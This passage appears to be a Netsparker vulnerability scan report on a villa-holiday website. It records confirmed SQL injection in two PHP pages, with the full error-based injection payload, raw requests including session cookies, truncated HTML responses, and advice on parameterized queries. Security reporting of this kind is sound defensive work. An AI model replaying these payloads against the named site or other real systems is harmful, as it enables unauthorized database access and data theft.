MSDN - Protect From SQL Injection in ASP.NET

- /more_villas.php

/more_villas.php CONFIRMED

http://theholidaygroup.com/more_villas.php?id=(select+1+and+row(1%2c1)%3e(select+count(*)%2cconcat(C..

Parameters

Parameter	Type	Value
id	GET	(select 1 and row(1,1)>(select count(),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()2))x from (select 1 union select 2)a group by x limit 1))

Request

GET /more_villas.php?id=(select+1+and+row(1%2c1)%3e(select+count(*)%2cconcat(CONCAT(CHAR(95)%2CCHAR(33)%2CCHAR(64)%2CCHAR(52)%2CCHAR(100)%2CCHAR(105)%2CCHAR(108)%2CCHAR(101)%2CCHAR(109)%2CCHAR(109)%2CCHAR(97))%2c0x3a%2cfloor(rand()*2))x+from+(select+1+union+select+2)a+group+by+x+limit+1)) HTTP/1.1
Referer: http://theholidaygroup.com/luxury%20holidays/Altinkum%20villas
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: theholidaygroup.com
Cookie: PHPSESSID=k0vp4e6r7m45sontuc5et5dtours2q8q
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Tue, 01 Mar 2011 19:10:34 GMT
Server: Apache/2.2.4 (Linux/SUSE)
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 7852
Content-Type: text/html

<html><head> <title></title><meta name="classification" content=""><meta name="keywords" content=""> <meta name="description" content=""><meta name="revisit-after" content="2 days"><meta content="text/html; charset=windows-1252" http-equiv="Content-Type" /><link rel="stylesheet" type="text/css" href="/css/villas.css" /><script type="text/javascript">//function to hide select boxes to overcome display problems in IEfunction hideme(){ if(document.getElementsByTagName){ var selNodes = document.getElementsByTagName('select') var i=0; if (!selNodes.item(0)) { return false; } else { do{selNodes.item(i).style.visibility = 'hidden';} while(++i < selNodes.length); } }}function showme(){ if(document.getElementsByTagName){ var selNodes = document.getElementsByTagName('select') var i=0; if (!selNodes.item(0)) { return false; } else { do{selNodes.item(i).style.visibility = 'visible';} while(++i < selNodes.length); } }}</script><script type="text/javascript" src="villas.js"></script><title> Villas, Rentals, Rentals, Villas </title><style type="text/css">body { scrollbar-3d-light-color : #274083; scrollbar-arrow-color : #000000; scrollbar-base-color : #274083; scrollbar-dark-shadow-color : #000000; scrollbar-face-color : #274083; scrollbar-highlight-color : #c0c0c0; scrollbar-shadow-color : #000000; background-image: url("/images/gradient.jpg"); background-repeat: repeat-x;}h1 { font-family: arial; font-size: 20px; color: white;}td { font-family: arial; font-size: 15px; color: white;}input.tidy { font-size: 11px; width:120px; color: #000000; background-color: #274083; font-weight:bold; margin:0 0 10 0; display: block;}</style><SCRIPT LANGUAGE="Javascript" src="/villas.js"></script></head><body bgcolor="#000066" link="#000000" vlink="#000000" alink="#000000" topmargin="0" leftmargin="0"><script language="javascript" src="http://www.skichalets.co.uk/top/top.js"></script><style type="text/css">h2{ display:inline;}/* All lists */img.dropdown{ display:none; padding:0px; margin:0px; margin-bottom:-4px; margin-top:-1px; margin-left:-1px;}ul.menu { padding: 0; margin: 0; list-style: none; font-family:Arial, Helvetica, sans-serif; font-weight:bold; font-size:12px; width:100%; background-color:#000066;}/* All list link style */ul.menu a, ul.menu h2 a{ text-decoration:none; display:block; background-color:#000066; color:#FFFFFF; font-family:Arial, Helvetica, sans-serif; width:100%; border: 1px solid #000066; text-align:left;}ul.menu img{ border:0px; vertical-align:bottom; margin-right:3px; margin-bottom:2px;}/*All list items hover style*/ul.menu a:hover, ul.menu h2 a:hover{ color:#000066; background-color:#FFFFFF; font-family:Arial, Helvetica, sans-serif; text-decoration:none;}/*Use this if you want a space between list items*/ul.menu a.spacer:hover{ background-color:#000066; cursor:default; font-family:Arial, Helvetica, sans-serif;}/* all list items */ul.menu li { float: left; position: relative; width: 9.8em; font-family:Arial, Helvetica, sans-serif;}/* second-level lists */ul.menu li ul { display: none; position: absolute; z-index:3; top: 1.3em; left: 0; font-family:Arial, Helvetica, sans-serif;}/* second level links */ul.menu li ul a{ font-size:10px; text-align:left; width: 18em; font-family:Arial, Helvetica, sans-serif; padding:1px;}ul.menu li>ul { /* to override top and left in browsers other than IE, which will position to the top right of the containing li, rather than bottom left */ top: auto; left: auto;}ul.menu li:hover ul, ul.menu li.over ul { /* lists nested under hovered list items */ display: block;}ul.menu #content { clear: left;}</style><script type="text/javascript"> window.onload=startList;</script><table width="800" cellspacing="0" cellpadding="0" align="center" bgcolor="#01003A" border="0"> <tr valign="bottom"> <td valign="bottom"> <a href="http://theholidaygroup.com"> <img src="http://www.skichalets.co.uk/top/images/villavillas/luxury_logo.gif" border="0" alt="Exclusive Villas" align="left"> </a> </td> <td align="center" valign="bottom" width=450> <font face="arial" color="#ffffff" style="font-size:12px;">Tel: +44 (0)1202 961300</font>  <a href="" style="color:#ffffff; font-family:verdana; font-size:12px; text-decoration:none; margin-left:20px" title="Contact Us"> </a> </td> <td valign="bottom"> <a href="http://www.theholidaygroup.com"> <img src="http://www.skichalets.co.uk/top/images/luxury_theholidaygroup.gif" border="0" alt="Luxury villas, villa holidays and exlusive villas" align="right"> </a> </td> </tr> <tr> <td colspan="3" style="padding:0px;"> <img src="http://www.skichalets.co.uk/top/images/4lines.gif" alt="Exclusive villa holidays" width="100%" height="10" style="padding-bottom:5px; padding-top:5px;" />  </td> </tr> <tr> <td colspan="3" align="center"> <img src="http://www.skichalets.co.uk/top/images/villavillas/header1.jpg" border="0" width="195" height="60" alt="Luxury villas" /> <img src="http://www.skichalets.co.uk/top/images/villavillas/header2.jpg" border="0" width="196" height="60" alt="Exclusive Villas" /> <img src="http://www.skichalets.co.uk/top/images/villavillas/header3.jpg" border="0" width="196" height="60" alt="Luxury Villa Holidays" /> <img src="http://www.skichalets.co.uk/top/images/villavillas/header4.jpg" border="0" width="195" height="60" alt="Exclusive villa holidays" /> </td> </tr> <tr> <td colspan="3" align="center" bgcolor="#000066"> <ul class="menu" id="nav" style="width:780px; background-color:#000066;"> <li style="width:7em;"> <a href="/" onMouseOver="sc_hideme();" onMouseOut="sc_showme();"> Menu » </a> <ul class="menu" onMouseOver="sc_hideme();" onMouseOut="sc_showme();"> <li><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://www.villavillas.com" title="VillaVillas Homepage">Home</a></li> <li><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://www.villavillas.com/prom.php" title="Villa Rentals">Villas</a></li> <li><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://www.villavillas.com/luxury-villas.php" title="Luxury Villas">Luxury Villas</a></li> <li><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://www.villavillas.com/private-villa-owners.php" title="Privately Owned Villas">Privately owned Villas</a></li>   <li><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://www.villavillas.com/promotions.php" title="Villa Holiday Links">Villa holiday links</a></li> <li><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://www.villavillas.com/advertise.php" title="Villa Advertising">Villa advertising</a></li> <li><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://www.villavillas.com/link-to-us.php" title="Link to VillaVillas">Link to theholidaygroup</a></li> <li><a href="http://www.villavillas.com/site-map.php" title="Site Map">Site Map</a></li> <li><a class="spacer"> </a></li> <li><a href="http://www.just-heliskiing.com" title="Heliskiing Holidays">Heliskiing Holidays</a></li> <li><a href="http://www.justadrenalin.com" title="Activity Holidays">Activity Holidays</a></li> <li><a href="http://www.justsafaris.com" title="African Safari Holidays">African Safari Holidays</a></li> <li><a href="http://www.justcities.com" title="City Break Holidays">City Break Holidays</a></li> <li><a href="http://www.cottagepie.com" title="Cottage Holidays">Cottage Holidays</a></li> <li><a href="http://www.fourstripes.com" title="Cruise Holidays">Cruise Holidays</a></li> <li><a href="http://www.golfingtrips.co.uk" title="Golf Holidays">Golf Holidays</a></li> <li><a href="http://www.just-luxury.com/ski" title="Luxury Ski Chalets">Luxury Ski Chalets</a></li> <li><a href="http://www.just-luxury.com/villa" title="Luxury Holiday Villas">Luxury Holiday Villas</a></li> <li><a href="http://www.villavillas.com" title="Villa Holidays">Villa Holidays</a></li> <li><a href="http://www.justchalets.co.uk" title="Luxury Ski Packages">Luxury Ski Packages</a></li> <li><a href="http://www.theski.biz" title="Ski Hotels">Ski Hotels</a></li> <li><a href="http://www.doggypaddle.com" title="Watersport Holidays">Watersport Holidays</a></li> <li><a href="http://www.theholidaygroup.com" title="Other Holiday Group Websites">Other Holiday Group Websites</a></li> </ul> </li> <li style="width:7em;"><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="/luxury villas/Spanish" title="5 star luxury Spanish "><img src="http://www.skichalets.co.uk/top/images/_Spain.gif" alt=" Spanish " />Spain</a> <ul class="menu" onMouseOver="sc_hideme();" onMouseOut="sc_showme();"> <li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Almeria villas" title=" in Almeria"> Luxury Almeria </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Andalucia villas" title=" in Andalucia"> Luxury Andalucia </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Barcelona villas" title=" in Barcelona "> Luxury Barcelona </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Catalonia villas" title=" in Catalonia"> Luxury Catalonia </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Costa Blanca villas" title=" in Costa Blanca"> Luxury Costa Blanca </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Costa Brava villas" title=" in Costa Brava"> Luxury Costa Brava </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Costa Calida villas" title=" in Costa Calida"> Luxury Costa Calida </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Costa Del Azahar villas" title=" in Costa Del Azahar"> Luxury Costa Del Azahar </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Costa Del Sol villas" title=" in Costa Del Sol"> Luxury Costa Del Sol </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Fuerteventura villas" title=" in Fuerteventura"> Luxury Fuerteventura </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Galicia villas" title=" in Galicia"> Luxury Galicia </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Gran Canaria villas" title=" in Gran Canaria"> Luxury Gran Canaria </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Ibiza North villas" title=" in Ibiza North"> Luxury Ibiza North </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Ibiza South villas" title=" in Ibiza South"> Luxury Ibiza South </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Lanzarote villas" title=" in Lanzarote"> Luxury Lanzarote </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Majorca North villas" title=" in Majorca North"> Luxury Majorca North </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Majorca South villas" title=" in Majorca South"> Luxury Majorca South </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Majorca West villas" title=" in Majorca West"> Luxury Majorca West </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Marbella villas" title=" in Marbella"> Luxury Marbella </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Menorca villas" title=" in Menorca"> Luxury Menorca </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Tenerife villas" title=" in Tenerife"> Luxury Tenerife </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Valencia villas" title=" in Valencia"> Luxury Valencia </h2></a></li> </ul> </li> <li style="width:8.4em;"><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="/luxury villas/Portuguese" title="5 star luxury Portuguese "><img src="http://www.skichalets.co.uk/top/images/_Portugal.gif" alt=" Portuguese " />Portugal</a> <ul class="menu" onMouseOver="sc_hideme();" onMouseOut="sc_showme();"> <li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Alentejo villas" title=" in Alentejo"> Luxury Alentejo </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Algarve villas" title=" in Algarve"> Luxury Algarve </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Costa Verde villas" title=" in Costa Verde"> Luxury Costa Verde </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="s..

- /villa_deals.php

/villa_deals.php CONFIRMED

http://theholidaygroup.com/villa_deals.php?offer_id=(select+1+and+row(1%2c1)%3e(select+count(*)%2cco..

Parameters

Parameter	Type	Value
offer_id	GET	(select 1 and row(1,1)>(select count(),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()2))x from (select 1 union select 2)a group by x limit 1))

Request

GET /villa_deals.php?offer_id=(select+1+and+row(1%2c1)%3e(select+count(*)%2cconcat(CONCAT(CHAR(95)%2CCHAR(33)%2CCHAR(64)%2CCHAR(52)%2CCHAR(100)%2CCHAR(105)%2CCHAR(108)%2CCHAR(101)%2CCHAR(109)%2CCHAR(109)%2CCHAR(97))%2c0x3a%2cfloor(rand()*2))x+from+(select+1+union+select+2)a+group+by+x+limit+1)) HTTP/1.1
Referer: http://theholidaygroup.com/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: theholidaygroup.com
Cookie: PHPSESSID=l6iaj5i41suet2oa84b9le98s7evm3sb
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Tue, 01 Mar 2011 19:18:20 GMT
Server: Apache/2.2.4 (Linux/SUSE)
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 8088
Content-Type: text/html

<html><title>Villa Villas Deals, Bargain Villas, Luxury Villas</title> <title></title><meta name="classification" content=""><meta name="keywords" content=""> <meta name="description" content=""><meta name="revisit-after" content="2 days"><meta content="text/html; charset=windows-1252" http-equiv="Content-Type" /><link rel="stylesheet" type="text/css" href="/css/villas.css" /><script type="text/javascript">//function to hide select boxes to overcome display problems in IEfunction hideme(){ if(document.getElementsByTagName){ var selNodes = document.getElementsByTagName('select') var i=0; if (!selNodes.item(0)) { return false; } else { do{selNodes.item(i).style.visibility = 'hidden';} while(++i < selNodes.length); } }}function showme(){ if(document.getElementsByTagName){ var selNodes = document.getElementsByTagName('select') var i=0; if (!selNodes.item(0)) { return false; } else { do{selNodes.item(i).style.visibility = 'visible';} while(++i < selNodes.length); } }}</script><script type="text/javascript" src="villas.js"></script><style type="text/css">body { background-image: url("images/bg/gradient.jpg"); background-repeat: repeat-x; }.boxed { width: 387px; height: 60px; border: 1px solid C0C0C0; font-family: Arial; font-size: 13px; margin: 10px; padding: 5px; display: inline; cursor: hand; }.title { font-family: Arial; font-size: 13px; color: white; text-decoration: none; font-weight: bold; }.small { font-family: Arial; font-size: 11px; color: white; text-decoration: none; }.highlight { color: red; font-weight: bold; display: inline; }.mainheader { margin-top: 5px; margin-bottom: 0px; text-align: center; font-family: Arial; font-size: 24px; color: white; }</style><script language="javascript" src="http://www.skichalets.co.uk/top/top.js"></script><style type="text/css">h2{ display:inline;}/* All lists */img.dropdown{ display:none; padding:0px; margin:0px; margin-bottom:-4px; margin-top:-1px; margin-left:-1px;}ul.menu { padding: 0; margin: 0; list-style: none; font-family:Arial, Helvetica, sans-serif; font-weight:bold; font-size:12px; width:100%; background-color:#000066;}/* All list link style */ul.menu a, ul.menu h2 a{ text-decoration:none; display:block; background-color:#000066; color:#FFFFFF; font-family:Arial, Helvetica, sans-serif; width:100%; border: 1px solid #000066; text-align:left;}ul.menu img{ border:0px; vertical-align:bottom; margin-right:3px; margin-bottom:2px;}/*All list items hover style*/ul.menu a:hover, ul.menu h2 a:hover{ color:#000066; background-color:#FFFFFF; font-family:Arial, Helvetica, sans-serif; text-decoration:none;}/*Use this if you want a space between list items*/ul.menu a.spacer:hover{ background-color:#000066; cursor:default; font-family:Arial, Helvetica, sans-serif;}/* all list items */ul.menu li { float: left; position: relative; width: 9.8em; font-family:Arial, Helvetica, sans-serif;}/* second-level lists */ul.menu li ul { display: none; position: absolute; z-index:3; top: 1.3em; left: 0; font-family:Arial, Helvetica, sans-serif;}/* second level links */ul.menu li ul a{ font-size:10px; text-align:left; width: 18em; font-family:Arial, Helvetica, sans-serif; padding:1px;}ul.menu li>ul { /* to override top and left in browsers other than IE, which will position to the top right of the containing li, rather than bottom left */ top: auto; left: auto;}ul.menu li:hover ul, ul.menu li.over ul { /* lists nested under hovered list items */ display: block;}ul.menu #content { clear: left;}</style><script type="text/javascript"> window.onload=startList;</script><table width="800" cellspacing="0" cellpadding="0" align="center" bgcolor="#01003A" border="0"> <tr valign="bottom"> <td valign="bottom"> <a href="http://theholidaygroup.com"> <img src="http://www.skichalets.co.uk/top/images/villavillas/luxury_logo.gif" border="0" alt="Exclusive Villas" align="left"> </a> </td> <td align="center" valign="bottom" width=450> <font face="arial" color="#ffffff" style="font-size:12px;">Tel: +44 (0)1202 961300</font>  <a href="" style="color:#ffffff; font-family:verdana; font-size:12px; text-decoration:none; margin-left:20px" title="Contact Us"> </a> </td> <td valign="bottom"> <a href="http://www.theholidaygroup.com"> <img src="http://www.skichalets.co.uk/top/images/luxury_theholidaygroup.gif" border="0" alt="Luxury villas, villa holidays and exlusive villas" align="right"> </a> </td> </tr> <tr> <td colspan="3" style="padding:0px;"> <img src="http://www.skichalets.co.uk/top/images/4lines.gif" alt="Exclusive villa holidays" width="100%" height="10" style="padding-bottom:5px; padding-top:5px;" />  </td> </tr> <tr> <td colspan="3" align="center"> <img src="http://www.skichalets.co.uk/top/images/villavillas/header1.jpg" border="0" width="195" height="60" alt="Luxury villas" /> <img src="http://www.skichalets.co.uk/top/images/villavillas/header2.jpg" border="0" width="196" height="60" alt="Exclusive Villas" /> <img src="http://www.skichalets.co.uk/top/images/villavillas/header3.jpg" border="0" width="196" height="60" alt="Luxury Villa Holidays" /> <img src="http://www.skichalets.co.uk/top/images/villavillas/header4.jpg" border="0" width="195" height="60" alt="Exclusive villa holidays" /> </td> </tr> <tr> <td colspan="3" align="center" bgcolor="#000066"> <ul class="menu" id="nav" style="width:780px; background-color:#000066;"> <li style="width:7em;"> <a href="/" onMouseOver="sc_hideme();" onMouseOut="sc_showme();"> Menu » </a> <ul class="menu" onMouseOver="sc_hideme();" onMouseOut="sc_showme();"> <li><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://www.villavillas.com" title="VillaVillas Homepage">Home</a></li> <li><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://www.villavillas.com/prom.php" title="Villa Rentals">Villas</a></li> <li><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://www.villavillas.com/luxury-villas.php" title="Luxury Villas">Luxury Villas</a></li> <li><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://www.villavillas.com/private-villa-owners.php" title="Privately Owned Villas">Privately owned Villas</a></li>   <li><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://www.villavillas.com/promotions.php" title="Villa Holiday Links">Villa holiday links</a></li> <li><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://www.villavillas.com/advertise.php" title="Villa Advertising">Villa advertising</a></li> <li><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://www.villavillas.com/link-to-us.php" title="Link to VillaVillas">Link to theholidaygroup</a></li> <li><a href="http://www.villavillas.com/site-map.php" title="Site Map">Site Map</a></li> <li><a class="spacer"> </a></li> <li><a href="http://www.just-heliskiing.com" title="Heliskiing Holidays">Heliskiing Holidays</a></li> <li><a href="http://www.justadrenalin.com" title="Activity Holidays">Activity Holidays</a></li> <li><a href="http://www.justsafaris.com" title="African Safari Holidays">African Safari Holidays</a></li> <li><a href="http://www.justcities.com" title="City Break Holidays">City Break Holidays</a></li> <li><a href="http://www.cottagepie.com" title="Cottage Holidays">Cottage Holidays</a></li> <li><a href="http://www.fourstripes.com" title="Cruise Holidays">Cruise Holidays</a></li> <li><a href="http://www.golfingtrips.co.uk" title="Golf Holidays">Golf Holidays</a></li> <li><a href="http://www.just-luxury.com/ski" title="Luxury Ski Chalets">Luxury Ski Chalets</a></li> <li><a href="http://www.just-luxury.com/villa" title="Luxury Holiday Villas">Luxury Holiday Villas</a></li> <li><a href="http://www.villavillas.com" title="Villa Holidays">Villa Holidays</a></li> <li><a href="http://www.justchalets.co.uk" title="Luxury Ski Packages">Luxury Ski Packages</a></li> <li><a href="http://www.theski.biz" title="Ski Hotels">Ski Hotels</a></li> <li><a href="http://www.doggypaddle.com" title="Watersport Holidays">Watersport Holidays</a></li> <li><a href="http://www.theholidaygroup.com" title="Other Holiday Group Websites">Other Holiday Group Websites</a></li> </ul> </li> <li style="width:7em;"><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="/luxury villas/Spanish" title="5 star luxury Spanish "><img src="http://www.skichalets.co.uk/top/images/_Spain.gif" alt=" Spanish " />Spain</a> <ul class="menu" onMouseOver="sc_hideme();" onMouseOut="sc_showme();"> <li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Almeria villas" title=" in Almeria"> Luxury Almeria </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Andalucia villas" title=" in Andalucia"> Luxury Andalucia </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Barcelona villas" title=" in Barcelona "> Luxury Barcelona </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Catalonia villas" title=" in Catalonia"> Luxury Catalonia </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Costa Blanca villas" title=" in Costa Blanca"> Luxury Costa Blanca </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Costa Brava villas" title=" in Costa Brava"> Luxury Costa Brava </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Costa Calida villas" title=" in Costa Calida"> Luxury Costa Calida </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Costa Del Azahar villas" title=" in Costa Del Azahar"> Luxury Costa Del Azahar </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Costa Del Sol villas" title=" in Costa Del Sol"> Luxury Costa Del Sol </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Fuerteventura villas" title=" in Fuerteventura"> Luxury Fuerteventura </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Galicia villas" title=" in Galicia"> Luxury Galicia </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Gran Canaria villas" title=" in Gran Canaria"> Luxury Gran Canaria </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Ibiza North villas" title=" in Ibiza North"> Luxury Ibiza North </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Ibiza South villas" title=" in Ibiza South"> Luxury Ibiza South </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Lanzarote villas" title=" in Lanzarote"> Luxury Lanzarote </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Majorca North villas" title=" in Majorca North"> Luxury Majorca North </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Majorca South villas" title=" in Majorca South"> Luxury Majorca South </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Majorca West villas" title=" in Majorca West"> Luxury Majorca West </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Marbella villas" title=" in Marbella"> Luxury Marbella </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Menorca villas" title=" in Menorca"> Luxury Menorca </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Tenerife villas" title=" in Tenerife"> Luxury Tenerife </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Valencia villas" title=" in Valencia"> Luxury Valencia </h2></a></li> </ul> </li> <li style="width:8.4em;"><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="/luxury villas/Portuguese" title="5 star luxury Portuguese "><img src="http://www.skichalets.co.uk/top/images/_Portugal.gif" alt=" Portuguese " />Portugal</a> <ul class="menu" onMouseOver="sc_hideme();" onMouseOut="sc_showme();"> <li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Alentejo villas" title=" in Alentejo"> Luxury Alentejo </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Algarve villas" title=" in Algarve"> Luxury Algarve </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Costa Verde villas" title=" in Costa Verde"> Luxury Costa Verde </h2></a></li><li><h2><a onMouseOver="sc_hideme();" onMouseOut="sc_showme();" href="http://theholidaygroup.com/luxury holidays/Lagos villas" title=" in Lagos"> Luxury Lagos </h2></a></li><li><h2><a onMouseOver="sc_..

[High Possibility] SQL Injection

4 TOTAL

CRITICAL

SQL Injection occurs when data input for example by a user is interpreted as a SQL command rather than normal data by the backend database. This is an extremely common vulnerability and its successful exploitation can have critical implications. Even though Netsparker believes that there is a SQL Injection in here it could not confirm it. There can be numerous reasons for Netsparker not being able to confirm this. We strongly recommend investigating the issue manually to ensure that it is an SQL Injection and that it needs to be addressed. You can also consider sending the details of this issue to us, in order that we can address this issue for the next time and give you a more precise result.

Impact

Depending on the backend database, database connection settings and the operating system, an attacker can mount one or more of the following type of attacks successfully:

Reading, Updating and Deleting arbitrary data from the database
Executing commands on the underlying operating system
Reading, Updating and Deleting arbitrary tables from the database

Actions to Take

See the remedy for solution.
If you are not using a database access layer (DAL) within the architecture consider its benefits and implement if appropriate. As a minimum the use of s DAL will help centralize the issue and its resolution. You can also use an ORM (object relational mapping). Most ORM systems use parameterized queries and this can solve many if not all SQL Injection based problems.
Locate all of the dynamically generated SQL queries and convert them to parameterised queries. (If you decide to use a DAL/ORM, change all legacy code to use these new libraries)
Monitor and review weblogs and application logs in order to uncover active or previous exploitation attempts.

Remedy

A very robust method for mitigating the threat of SQL Injection based vulnerabilities is to use parameterized queries (prepared statements). Almost all modern languages provide built in libraries for this. Wherever possible do not create dynamic SQL queries or SQL queries with string concatenation.

Required Skills for Successful Exploitation

There are numerous freely available tools to test for SQL Injection vulnerabilities. This is a complex area with many dependencies, however it should be noted that the numerous resources available in this area have raised both attacker awareness of the issues and their ability to discover and leverage them. SQL Injection is one of the most common web application vulnerabilities.

External References

Remedy References

MSDN - Protect From SQL Injection in ASP.NET

- /more_villas.php

/more_villas.php

http://theholidaygroup.com/more_villas.php?id=%2527

Parameters

